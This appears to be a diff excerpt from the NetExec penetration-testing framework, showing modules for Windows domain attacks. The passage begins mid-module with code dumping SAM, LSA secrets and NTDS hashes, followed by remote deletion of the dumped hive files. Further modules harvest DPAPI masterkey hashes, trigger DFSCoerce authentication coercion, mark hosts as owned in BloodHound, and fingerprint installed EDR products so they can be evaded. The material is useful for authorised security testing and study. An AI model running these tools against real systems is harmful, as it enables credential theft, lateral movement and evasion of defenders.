boot_key = local_operations.getBootKey()
sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=lambda secret: parse_sam(secret))
sam_hashes.dump()
sam_hashes.finish()
LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret))
LSA.dumpCachedHashes()
LSA.dumpSecrets()
except Exception as e:
context.log.fail(f"Fail to dump the sam and lsa: {e!s}")
if self.domain_admin:
connection.conn.logoff()
connection.create_conn_obj()
if connection.hash_login(connection.domain, self.domain_admin, self.domain_admin_hash):
try:
context.log.display("Dumping NTDS...")
connection.ntds()
except Exception as e:
context.log.fail(f"Fail to dump the NTDS: {e!s}")
context.log.display(f"Cleaning dump with user {self.domain_admin} and hash {self.domain_admin_hash} on domain {connection.domain}")
connection.execute("del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM")
for hive in ["SAM", "SECURITY", "SYSTEM"]:
try:
out = connection.conn.listPath("SYSVOL", hive)
if out:
self.deleted_files = False
context.log.fail(f"Fail to remove the file {hive}, path: C:\\Windows\\sysvol\\sysvol\\{hive}")
except SessionError as e:
context.log.debug(f"File {hive} successfully removed: {e}")
else:
self.deleted_files = False
else:
self.deleted_files = False
if not self.deleted_files:
context.log.display("Use the domain admin account to clean the file on the remote host")
context.log.display("netexec smb dc_ip -u user -p pass -x \"del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM\"") # noqa: Q003
else:
context.log.display("Successfully deleted dump files !")
def trigger_winreg(self, connection, context):
# Original idea from https://twitter.com/splinter_code/status/1715876413474025704
# Basically triggers the RemoteRegistry to start without admin privs
tid = connection.connectTree("IPC$")
try:
connection.openFile(
tid,
r"\winreg",
0x12019F,
creationOption=0x40,
fileAttributes=0x80,
)
except SessionError as e:
# STATUS_PIPE_NOT_AVAILABLE error is expected
context.log.debug(str(e))
# Give remote registry time to start
time.sleep(1)
def _strip_root_key(self, dce, key_name):
# Let's strip the root key
key_name.split("\\")[0]
sub_key = "\\".join(key_name.split("\\")[1:])
ans = rrp.hOpenLocalMachine(dce)
h_root_key = ans["phKey"]
return h_root_key, sub_key
-87
View File
@@ -1,87 +0,0 @@
# Author:
# Romain Bentz (pixis - @hackanddo)
# Website:
# https://beta.hackndo.com [FR]
# https://en.hackndo.com [EN]
import sys
from neo4j import GraphDatabase
from neo4j.exceptions import AuthError, ServiceUnavailable
class NXCModule:
name = "bh_owned"
description = "Set pwned computer as owned in Bloodhound"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.neo4j_pass = None
self.neo4j_user = None
self.neo4j_Port = None
self.neo4j_URI = None
def options(self, context, module_options):
"""
URI URI for Neo4j database (default: 127.0.0.1)
PORT Listening port for Neo4j database (default: 7687)
USER Username for Neo4j database (default: 'neo4j')
PASS Password for Neo4j database (default: 'neo4j')
"""
self.neo4j_URI = "127.0.0.1"
self.neo4j_Port = "7687"
self.neo4j_user = "neo4j"
self.neo4j_pass = "neo4j"
if module_options and "URI" in module_options:
self.neo4j_URI = module_options["URI"]
if module_options and "PORT" in module_options:
self.neo4j_Port = module_options["PORT"]
if module_options and "USER" in module_options:
self.neo4j_user = module_options["USER"]
if module_options and "PASS" in module_options:
self.neo4j_pass = module_options["PASS"]
def on_admin_login(self, context, connection):
domain = connection.conn.getServerDNSDomainName() if context.local_auth else connection.domain
host_fqdn = f"{connection.hostname}.{domain}".upper()
uri = f"bolt://{self.neo4j_URI}:{self.neo4j_Port}"
context.log.debug(f"Neo4j URI: {uri}")
context.log.debug(f"User: {self.neo4j_user}, Password: {self.neo4j_pass}")
try:
driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass), encrypted=False)
except AuthError:
context.log.fail(f"Provided Neo4J credentials ({self.neo4j_user}:{self.neo4j_pass}) are not valid. See --options")
sys.exit()
except ServiceUnavailable:
context.log.fail(f"Neo4J does not seem to be available on {uri}. See --options")
sys.exit()
except Exception as e:
context.log.fail("Unexpected error with Neo4J")
context.log.debug(f"Error {e}: ")
sys.exit()
with driver.session() as session:
try:
with session.begin_transaction() as tx:
result = tx.run(f"MATCH (c:Computer {{name:{host_fqdn}}}) SET c.owned=True RETURN c.name AS name")
record = result.single()
try:
value = record.value()
except AttributeError:
value = []
except ServiceUnavailable as e:
context.log.fail(f"Neo4J does not seem to be available on {uri}. See --options")
context.log.debug(f"Error {e}: ")
driver.close()
sys.exit()
if len(value) > 0:
context.log.success(f"Node {host_fqdn} successfully set as owned in BloodHound")
else:
context.log.fail(f"Node {host_fqdn} does not appear to be in Neo4J database. Have you imported the correct data?")
driver.close()
+131
View File
@@ -0,0 +1,131 @@
import re
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
class NXCModule:
name = "bitlocker"
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
supported_protocols = ["smb", "wmi"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""
USAGE:
NetExec smb <IP> -u <username> -p <password> -M bitlocker
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
"""
def on_admin_login(self, context, connection):
if context.protocol == "smb":
bitlocker_smb = BitLockerSMB(context, connection)
bitlocker_smb.check_bitlocker_status()
elif context.protocol == "wmi":
bitlocker_wmi = BitLockerWMI(context, connection)
bitlocker_wmi.check_bitlocker_status()
class BitLockerSMB:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
# PowerShell command to check BitLocker volumes status.
check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
try:
# Executing the PowerShell command to get BitLocker volumes status.
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
self.context.log.fail("BitLockerVolume not found on target.")
return
# Splitting the output into lines.
lines = str(check_bitlocker_command_str_output).splitlines()
data_lines = [line for line in lines if re.match(r"\w:", line)]
for line in data_lines:
# Checking every line for starting with drive
if line[1] == ":":
parts = line.split()
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
# Checking if BitLocker is enabled.
if protection_status == "On":
self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
else:
self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
except Exception as e:
self.context.log.exception(f"Exception occurred: {e}")
class BitLockerWMI:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
try:
# Create a DCOM connection
dcom_conn = DCOMConnection(
self.connection.host,
self.connection.username,
self.connection.password,
self.connection.domain,
self.connection.lmhash,
self.connection.nthash,
oxidResolver=True,
doKerberos=self.connection.kerberos,
kdcHost=self.connection.kdcHost)
try:
# CoCreateInstanceEx for WMI login
i_interface = dcom_conn.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(i_interface)
# Specify the namespace for BitLocker
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
# NTLM login for WMI
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
# Set authentication level
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
# Query to get BitLocker status
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
encryptionTypeMapping = {0: "None", 1: "AES_256_WITH_DIFFUSER", 2: "AES_256_WITH_DIFFUSER", 3: "AES_128", 4: "AES_256", 5: "HARDWARE_ENCRYPTION", 6: "XTS_AES_128", 7: "XTS_AES_256"}
try:
while True:
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
if iWbemClassObject[0].ProtectionStatus == 1:
self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
else:
if encryptionMethod == 0: # Should be 0 if disabled
self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
except Exception:
pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
# Release resources
iWbemLevel1Login.RemRelease()
iWbemServices.RemRelease()
dcom_conn.disconnect()
except Exception as e:
if "WBEM_E_INVALID_NAMESPACE" in str(e):
self.context.log.fail("BitLockerNamespace not found on target.")
dcom_conn.disconnect()
except Exception as e:
self.context.log.error(f"Error occurred during BitLocker check: {e}")
dcom_conn.disconnect()
File diff suppressed because it is too large. Load diff
+29 -28
View File
@@ -65,7 +65,7 @@ WELL_KNOWN_SIDS = {
"S-1-5-64-14": "SChannel Authentication",
"S-1-5-64-21": "Digest Authority",
"S-1-5-80": "NT Service",
"S-1-5-83-0": "NT VIRTUAL MACHINE\Virtual Machines",
"S-1-5-83-0": "NT VIRTUAL MACHINE\\Virtual Machines",
"S-1-16-0": "Untrusted Mandatory Level",
"S-1-16-4096": "Low Mandatory Level",
"S-1-16-8192": "Medium Mandatory Level",
@@ -74,24 +74,24 @@ WELL_KNOWN_SIDS = {
"S-1-16-16384": "System Mandatory Level",
"S-1-16-20480": "Protected Process Mandatory Level",
"S-1-16-28672": "Secure Process Mandatory Level",
"S-1-5-32-554": "BUILTIN\Pre-Windows 2000 Compatible Access",
"S-1-5-32-555": "BUILTIN\Remote Desktop Users",
"S-1-5-32-557": "BUILTIN\Incoming Forest Trust Builders",
"S-1-5-32-554": "BUILTIN\\Pre-Windows 2000 Compatible Access",
"S-1-5-32-555": "BUILTIN\\Remote Desktop Users",
"S-1-5-32-557": "BUILTIN\\Incoming Forest Trust Builders",
"S-1-5-32-556": "BUILTIN\\Network Configuration Operators",
"S-1-5-32-558": "BUILTIN\Performance Monitor Users",
"S-1-5-32-559": "BUILTIN\Performance Log Users",
"S-1-5-32-560": "BUILTIN\Windows Authorization Access Group",
"S-1-5-32-561": "BUILTIN\Terminal Server License Servers",
"S-1-5-32-562": "BUILTIN\Distributed COM Users",
"S-1-5-32-569": "BUILTIN\Cryptographic Operators",
"S-1-5-32-573": "BUILTIN\Event Log Readers",
"S-1-5-32-574": "BUILTIN\Certificate Service DCOM Access",
"S-1-5-32-575": "BUILTIN\RDS Remote Access Servers",
"S-1-5-32-576": "BUILTIN\RDS Endpoint Servers",
"S-1-5-32-577": "BUILTIN\RDS Management Servers",
"S-1-5-32-578": "BUILTIN\Hyper-V Administrators",
"S-1-5-32-579": "BUILTIN\Access Control Assistance Operators",
"S-1-5-32-580": "BUILTIN\Remote Management Users",
"S-1-5-32-558": "BUILTIN\\Performance Monitor Users",
"S-1-5-32-559": "BUILTIN\\Performance Log Users",
"S-1-5-32-560": "BUILTIN\\Windows Authorization Access Group",
"S-1-5-32-561": "BUILTIN\\Terminal Server License Servers",
"S-1-5-32-562": "BUILTIN\\Distributed COM Users",
"S-1-5-32-569": "BUILTIN\\Cryptographic Operators",
"S-1-5-32-573": "BUILTIN\\Event Log Readers",
"S-1-5-32-574": "BUILTIN\\Certificate Service DCOM Access",
"S-1-5-32-575": "BUILTIN\\RDS Remote Access Servers",
"S-1-5-32-576": "BUILTIN\\RDS Endpoint Servers",
"S-1-5-32-577": "BUILTIN\\RDS Management Servers",
"S-1-5-32-578": "BUILTIN\\Hyper-V Administrators",
"S-1-5-32-579": "BUILTIN\\Access Control Assistance Operators",
"S-1-5-32-580": "BUILTIN\\Remote Management Users",
}
@@ -221,8 +221,6 @@ class NXCModule:
Based on the work of @_nwodtuhs and @BlWasp_.
"""
self.context = context
context.log.debug(f"module_options: {module_options}")
if not module_options:
@@ -273,10 +271,11 @@ class NXCModule:
self.filename = None
def on_login(self, context, connection):
self.context = context
"""On a successful LDAP login we perform a search for the targets' SID, their Security Descriptors and the principal's SID if there is one specified"""
context.log.highlight("Be careful, this module cannot read the DACLS recursively.")
self.baseDN = connection.ldapConnection._baseDN
self.ldap_session = connection.ldapConnection
self.baseDN = connection.ldap_connection._baseDN
self.ldap_session = connection.ldap_connection
# Searching for the principal SID
if self.principal_sAMAccountName is not None:
@@ -374,7 +373,7 @@ class NXCModule:
if self.target_DN is not None:
_lookedup_principal = self.target_DN
target = self.ldap_session.search(
searchBase=self.baseDN,
searchBase=_lookedup_principal,
searchFilter=f"(distinguishedName={_lookedup_principal})",
attributes=["nTSecurityDescriptor"],
searchControls=controls,
@@ -516,6 +515,8 @@ class NXCModule:
# If a principal has been specified, only the ACE where he is the trustee will be printed
for parsed_ace in parsed_dacl:
print_ace = True
context.log.debug(f"{parsed_ace=}, {self.rights=}, {self.rights_guid=}, {self.ace_type=}, {self.principal_sid=}")
# Filter on specific rights
if self.rights is not None:
try:
@@ -528,7 +529,7 @@ class NXCModule:
if (self.rights == "ResetPassword") and (("Object type (GUID)" not in parsed_ace) or (RIGHTS_GUID.ResetPassword.value not in parsed_ace["Object type (GUID)"])):
print_ace = False
except Exception as e:
context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights=}, probably because of ACE type unsupported for parsing yet ({e})")
# Filter on specific right GUID
if self.rights_guid is not None:
@@ -536,7 +537,7 @@ class NXCModule:
if ("Object type (GUID)" not in parsed_ace) or (self.rights_guid not in parsed_ace["Object type (GUID)"]):
print_ace = False
except Exception as e:
context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights_guid=}, probably because of ACE type unsupported for parsing yet ({e})")
# Filter on ACE type
if self.ace_type == "allowed":
@@ -544,13 +545,13 @@ class NXCModule:
if ("ACCESS_ALLOWED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_ALLOWED_ACE" not in parsed_ace["ACE Type"]):
print_ace = False
except Exception as e:
context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
else:
try:
if ("ACCESS_DENIED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_DENIED_ACE" not in parsed_ace["ACE Type"]):
print_ace = False
except Exception as e:
context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
# Filter on trusted principal
if self.principal_sid is not None:
@@ -558,7 +559,7 @@ class NXCModule:
if self.principal_sid not in parsed_ace["Trustee (SID)"]:
print_ace = False
except Exception as e:
context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
context.log.debug(f"Error filtering with {parsed_ace=} and {self.principal_sid=}, probably because of ACE type unsupported for parsing yet ({e})")
if print_ace:
self.context.log.highlight("%-28s" % "ACE[%d] info" % i)
self.print_parsed_ace(parsed_ace)
+2 -124
View File
@@ -1,15 +1,6 @@
from impacket import system_errors
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NDRCALL
from impacket.dcerpc.v5.dtypes import ULONG, WSTR, DWORD
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.uuid import uuidtup_to_bin
from nxc.logger import nxc_logger
class NXCModule:
name = "dfscoerce"
description = "Module to check if the DC is vulnerable to DFSCocerc, credit to @filip_dragovic/@Wh04m1001 and @topotam"
description = "[REMOVED] Module to check if the DC is vulnerable to DFSCoerce, credit to @filip_dragovic/@Wh04m1001 and @topotam"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
@@ -26,117 +17,4 @@ class NXCModule:
self.listener = module_options["LISTENER"]
def on_login(self, context, connection):
trigger = TriggerAuth()
dce = trigger.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
)
if dce is not None:
context.log.debug("Target is vulnerable to DFSCoerce")
trigger.NetrDfsRemoveStdRoot(dce, self.listener)
context.log.highlight("VULNERABLE")
context.log.highlight("Next step: https://github.com/Wh04m1001/DFSCoerce")
dce.disconnect()
else:
context.log.debug("Target is not vulnerable to DFSCoerce")
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__(self):
key = self.error_code
if key in system_errors.ERROR_MESSAGES:
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
return f"DFSNM SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}"
else:
return f"DFSNM SessionError: unknown error code: 0x{self.error_code:x}"
################################################################################
# RPC CALLS
################################################################################
class NetrDfsRemoveStdRoot(NDRCALL):
opnum = 13
structure = (
("ServerName", WSTR),
("RootShare", WSTR),
("ApiFlags", DWORD),
)
class NetrDfsRemoveStdRootResponse(NDRCALL):
structure = (("ErrorCode", ULONG),)
class NetrDfsAddRoot(NDRCALL):
opnum = 12
structure = (
("ServerName", WSTR),
("RootShare", WSTR),
("Comment", WSTR),
("ApiFlags", DWORD),
)
class NetrDfsAddRootResponse(NDRCALL):
structure = (("ErrorCode", ULONG),)
class TriggerAuth:
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost):
rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\netdfs]" % target)
if hasattr(rpctransport, "set_credentials"):
rpctransport.set_credentials(
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
aesKey=aesKey,
)
if doKerberos:
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
# if target:
rpctransport.setRemoteHost(target)
dce = rpctransport.get_dce_rpc()
nxc_logger.debug("[-] Connecting to {}".format(r"ncacn_np:%s[\PIPE\netdfs]") % target)
try:
dce.connect()
except Exception as e:
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
return None
try:
dce.bind(uuidtup_to_bin(("4FC742E0-4A10-11CF-8273-00AA004AE673", "3.0")))
except Exception as e:
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
return None
nxc_logger.debug("[+] Successfully bound!")
return dce
def NetrDfsRemoveStdRoot(self, dce, listener):
nxc_logger.debug("[-] Sending NetrDfsRemoveStdRoot!")
try:
request = NetrDfsRemoveStdRoot()
request["ServerName"] = f"{listener}\x00"
request["RootShare"] = "test\x00"
request["ApiFlags"] = 1
if self.args.verbose:
nxc_logger.debug(request.dump())
dce.request(request)
except Exception as e:
nxc_logger.debug(e)
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
+63
View File
@@ -0,0 +1,63 @@
from dploot.lib.target import Target
from dploot.triage.masterkeys import MasterkeysTriage
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
# Based on dpapimk2john, original work by @fist0urs
class NXCModule:
name = "dpapi_hash"
description = "Remotely dump Dpapi hash based on masterkeys"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""OUTPUTFILE Output file to write hashes"""
self.outputfile = None
if "OUTPUTFILE" in module_options:
self.outputfile = module_options["OUTPUTFILE"]
def on_admin_login(self, context, connection):
username = connection.username
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
try:
context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
masterkeys_triage = MasterkeysTriage(
target=target,
conn=conn,
)
context.log.debug(f"Masterkeys Triage: {masterkeys_triage}")
context.log.debug("Collecting user masterkeys")
masterkeys_triage.triage_masterkeys()
if self.outputfile is not None:
with open(self.outputfile, "a+") as fd:
for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]:
context.log.highlight(mkhash)
fd.write(f"{mkhash}\n")
else:
for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]:
context.log.highlight(mkhash)
except Exception as e:
context.log.debug(f"Could not get masterkeys: {e}")
+52 -18
View File
@@ -5,6 +5,7 @@
from impacket.dcerpc.v5 import lsat, lsad, transport
from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
import pathlib
@@ -35,7 +36,7 @@ class NXCModule:
results = self._detect_installed_services(context, connection, target)
self.detect_running_processes(context, connection, results)
self.dump_results(results, connection.hostname, context)
self.dump_results(results, context)
def _get_target(self, connection):
return connection.host if not connection.kerberos else f"{connection.hostname}.{connection.domain}"
@@ -50,7 +51,8 @@ class NXCModule:
password=connection.password,
remote_name=target,
do_kerberos=connection.kerberos,
kdcHost=connection.domain,
remoteHost=connection.host,
kdcHost=connection.kdcHost,
lmhash=connection.lmhash,
nthash=connection.nthash,
aesKey=connection.aesKey
@@ -58,18 +60,16 @@ class NXCModule:
dce, _ = lsa.connect()
policyHandle = lsa.open_policy(dce)
try:
for product in conf["products"]:
for service in product["services"]:
for product in conf["products"]:
for service in product["services"]:
try:
lsa.LsarLookupNames(dce, policyHandle, service["name"])
context.log.info(f"Detected installed service on {connection.host}: {product['name']} {service['description']}")
results.setdefault(product["name"], {"services": []})["services"].append(service)
except Exception:
pass
except Exception:
pass
except Exception as e:
context.log.fail(str(e))
return results
def detect_running_processes(self, context, connection, results):
@@ -80,13 +80,13 @@ class NXCModule:
for product in conf["products"]:
for pipe in product["pipes"]:
if pathlib.PurePath(fl).match(pipe["name"]):
context.log.debug(f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})")
context.log.info(f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})")
prod_results = results.setdefault(product["name"], {})
prod_results.setdefault("pipes", []).append(pipe)
except Exception as e:
context.log.debug(str(e))
context.log.fail(str(e))
def dump_results(self, results, remoteName, context):
def dump_results(self, results, context):
if not results:
context.log.highlight("Found NOTHING!")
return
@@ -119,6 +119,7 @@ class LsaLookupNames:
password="",
remote_name="",
do_kerberos=False,
remoteHost="",
kdcHost="",
lmhash="",
nthash="",
@@ -133,7 +134,8 @@ class LsaLookupNames:
self.lmhash = lmhash
self.nthash = nthash
self.aesKey = aesKey
self.dcHost = kdcHost
self.kdcHost = kdcHost
self.remoteHost = remoteHost
def connect(self, string_binding=None, iface_uuid=None):
"""Obtains a RPC Transport and a DCE interface according to the bindings and
@@ -146,6 +148,7 @@ class LsaLookupNames:
raise NotImplementedError("String binding must be defined")
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.setRemoteHost(self.remoteHost)
# Set timeout if defined
if self.timeout:
@@ -157,14 +160,13 @@ class LsaLookupNames:
rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey)
if self.doKerberos:
rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.dcHost)
rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.kdcHost)
# Gets the DCE RPC object
dce = rpc_transport.get_dce_rpc()
# Set the authentication level
if self.authn_level:
dce.set_auth_level(self.authn_level)
if self.doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
# Connect
dce.connect()
@@ -242,6 +244,14 @@ conf = {
"services": [{"name": "CSFalconService", "description": "CrowdStrike Falcon Sensor Service"}],
"pipes": [{"name": "CrowdStrike\\{*", "processes": ["CSFalconContainer.exe", "CSFalconService.exe"]}]
},
{
"name": "Cortex",
"services": [
{"name": "xdrhealth", "description": "Cortex XDR Health Helper"},
{"name": "cyserver", "description": " Cortex XDR"}
],
"pipes": []
},
{
"name": "Cybereason",
"services": [
@@ -261,7 +271,10 @@ conf = {
{"name": "epfw", "description": "ESET"},
{"name": "epfwlwf", "description": "ESET"},
{"name": "epfwwfp", "description": "ESET"},
{"name": "EraAgentSvc", "description": "ESET"},
{"name": "EraAgentSvc", "description": "ESET Management Agent service"},
{"name": "ERAAgent", "description": "ESET Management Agent service"},
{"name": "efwd", "description": "ESET Communication Forwarding Service"},
{"name": "ehttpsrv", "description": "ESET HTTP Server"},
],
"pipes": [{"name": "nod_scriptmon_pipe", "processes": [""]}],
},
@@ -342,6 +355,27 @@ conf = {
{"name": "sophoslivequery_*", "processes": [""]}
]
},
{
"name": "Trellix Endpoint Detection and Response (EDR)",
"services": [
{"name": "McAfee Endpoint Security Platform Service", "description": "Trellix Core Service"},
{"name": "mfemactl", "description": "Trellix Management Service"},
{"name": "mfemms", "description": "McAfee Management Service"},
{"name": "mfefire", "description": "Trellix Firewall Core Service"},
{"name": "masvc", "description": "Trellix Agent Service"},
{"name": "macmnsvc", "description": "Trellix Agent Common Service"},
{"name": "mfetp", "description": "Trellix Endpoint Threat Prevention Service"},
{"name": "mfewc", "description": "Trellix Endpoint Security Web Control Service"},
{"name": "mfeaack", "description": "Trellix Anti-Malware Core Service"}
],
"pipes": [
{"name": "TrellixEDR_Pipe_*", "processes": ["McAfeeEDR.exe"]},
{"name": "mfemactl_*", "processes": ["mfemactl.exe"]},
{"name": "mfefire_*", "processes": ["mfefire.exe"]},
{"name": "McAfeeAgent_Pipe_*", "processes": ["McAfeeAgent.exe"]},
{"name": "mfetp_*", "processes": ["mfetp.exe"]}
]
},
{
"name": "Trend Micro Endpoint Security",
"services": [
+109
View File
@@ -0,0 +1,109 @@
from impacket.dcerpc.v5 import transport, epm
from impacket.http import AUTH_NTLM
from impacket.dcerpc.v5.rpch import RPC_PROXY_INVALID_RPC_PORT_ERR, \
RPC_PROXY_CONN_A1_0X6BA_ERR, RPC_PROXY_CONN_A1_404_ERR, \
RPC_PROXY_RPC_OUT_DATA_404_ERR
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from impacket import uuid
import requests
class NXCModule:
"""
-------
Module by @0xjbb, original code from Impacket rpcdump.py
"""
KNOWN_PROTOCOLS = {
135: {"bindstr": r"ncacn_ip_tcp:%s[135]"},
139: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
443: {"bindstr": r"ncacn_http:[593,RpcProxy=%s:443]"},
445: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
593: {"bindstr": r"ncacn_http:%s"}
}
name = "enum_ca"
description = "Anonymously uses RPC endpoints to hunt for ADCS CAs"
supported_protocols = ["smb"] # Example: ['smb', 'mssql']
opsec_safe = True # Does the module touch disk?
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
pass
def on_login(self, context, connection):
self.__username = connection.username
self.__password = connection.password
self.__domain = connection.domain
self.__lmhash = ""
self.__nthash = ""
self.__port = 135.
self.__stringbinding = ""
if context.hash and ":" in context.hash[0]:
hashList = context.hash[0].split(":")
self.__nthash = hashList[-1]
self.__lmhash = hashList[0]
elif context.hash and ":" not in context.hash[0]:
self.__nthash = context.hash[0]
self.__lmhash = "00000000000000000000000000000000"
self.__stringbinding = self.KNOWN_PROTOCOLS[self.__port]["bindstr"] % connection.host
context.log.debug(f"StringBinding {self.__stringbinding}")
rpctransport = transport.DCERPCTransportFactory(self.__stringbinding)
if self.__port in [139, 445]:
# Setting credentials for SMB
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
rpctransport.setRemoteHost(connection.host)
rpctransport.set_dport(self.__port)
elif self.__port in [443]:
# Setting credentials only for RPC Proxy, but not for the MSRPC level
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
rpctransport.set_auth_type(AUTH_NTLM)
else:
rpctransport.setRemoteHost(connection.host)
try:
entries = self.__fetchList(connection.kerberos, rpctransport)
except Exception as e:
error_text = f"Protocol failed: {e}"
context.log.fail(error_text)
if RPC_PROXY_INVALID_RPC_PORT_ERR in error_text or \
RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text or \
RPC_PROXY_CONN_A1_404_ERR in error_text or \
RPC_PROXY_CONN_A1_0X6BA_ERR in error_text:
context.log.fail("This usually means the target does not allow "
"to connect to its epmapper using RpcProxy.")
return
for entry in entries:
tmpUUID = str(entry["tower"]["Floors"][0])
if uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18] in epm.KNOWN_UUIDS:
exename = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]]
context.log.debug("EXEs %s" % exename)
